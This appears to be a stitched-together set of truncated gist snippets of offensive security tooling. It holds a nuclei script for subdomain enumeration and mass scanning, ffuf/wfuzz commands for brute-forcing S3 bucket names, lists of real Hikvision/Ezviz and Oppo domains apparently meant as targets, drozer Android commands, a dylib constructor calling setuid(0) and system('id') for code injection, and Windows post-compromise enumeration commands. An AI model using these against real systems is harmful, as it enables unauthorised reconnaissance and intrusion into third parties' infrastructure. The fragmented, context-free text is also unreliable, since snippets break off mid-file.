start new:
tmux
start new with session name:
tmux new -s myname
#!/bin/bash | |
OUT=~/nuclei-results/$1 | |
TPL=~/nuclei-templates | |
mkdir -p ${OUT} | |
SUB=$(subfinder -d $1 -silent | httprobe | tee ${OUT}/$1.txt) | |
cd ${TPL}; git pull origin master && cd - | |
for tpl in $(find $TPL -name "*.yaml"); do $GOPATH/bin/nuclei -l ${OUT}/$1.txt -t $tpl -o "${OUT}/$(basename "$tpl" .yaml).txt"; done | |
find ${OUT} -name "*.txt" -size 0 -delete |
cmd@fb:/tmp|❯ wc -l 15m_sub_wordlist.txt
15677820 15m_sub_wordlist.txt
cmd@fb:/tmp|❯ wc -l 33m-subdomain-wordlist.txt
#!/bin/bash | |
echo "###############################" | |
echo "# Ffuf #" | |
echo "###############################" | |
echo "" | |
echo "" | |
echo "[1] subdomains.txt" | |
echo "[2] subdomain-large.txt" | |
echo "[3] raft-large-directories.txt" |
#!/bin/bash | |
Ffuf (faster): | |
ffuf -u "https://s3.REGION.amazonaws.com/COMPANYDELIMITERENVIRONMENT" -w "aws-regions.txt:REGION" -w "company.txt:COMPANY" -w "delimiters.txt:DELIMITER" -w "/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:ENVIRONMENT" -mc 200 -v | |
Wfuzz: | |
wfuzz -u "https://s3.FUZZ.amazonaws.com/FUZ2ZFUZ3ZFUZ4Z" -w aws-regions.txt -w company.txt -w delimiters.txt -w "/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt" --sc 200 -v -t 50 | |
The files: |
ys7.com | |
ezvizlife.com | |
eziot.com | |
ezviz7.com | |
guardingvision.com | |
hicloudcam.com | |
shipin7.com | |
hik-connect.com | |
hikops.com |
oppo.com | |
oppo.cn | |
myoppo.com | |
opposhop.cn | |
coloros.com | |
nearme.com.cn | |
oppomobile.com | |
oppofind.com | |
myoas.com | |
heytap.com |
* Starting a session
* `adb forward tcp:31415 tcp:31415`
* `drozer console connect`
* `drozer console connect --server <ip>`
* List modules
* `ls`
#include <stdio.h> | |
#include <syslog.h> | |
#include <stdlib.h> | |
__attribute__((constructor)) | |
static void customConstructor(int argc, const char **argv) | |
{ | |
setuid(0); | |
system("id"); | |
printf("Hello from dylib!\n"); |
// What system are we connected to? | |
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" | |
// Get the hostname and username (if available) | |
hostname | |
echo %username% | |
// Get users | |
net users | |
net user [username] |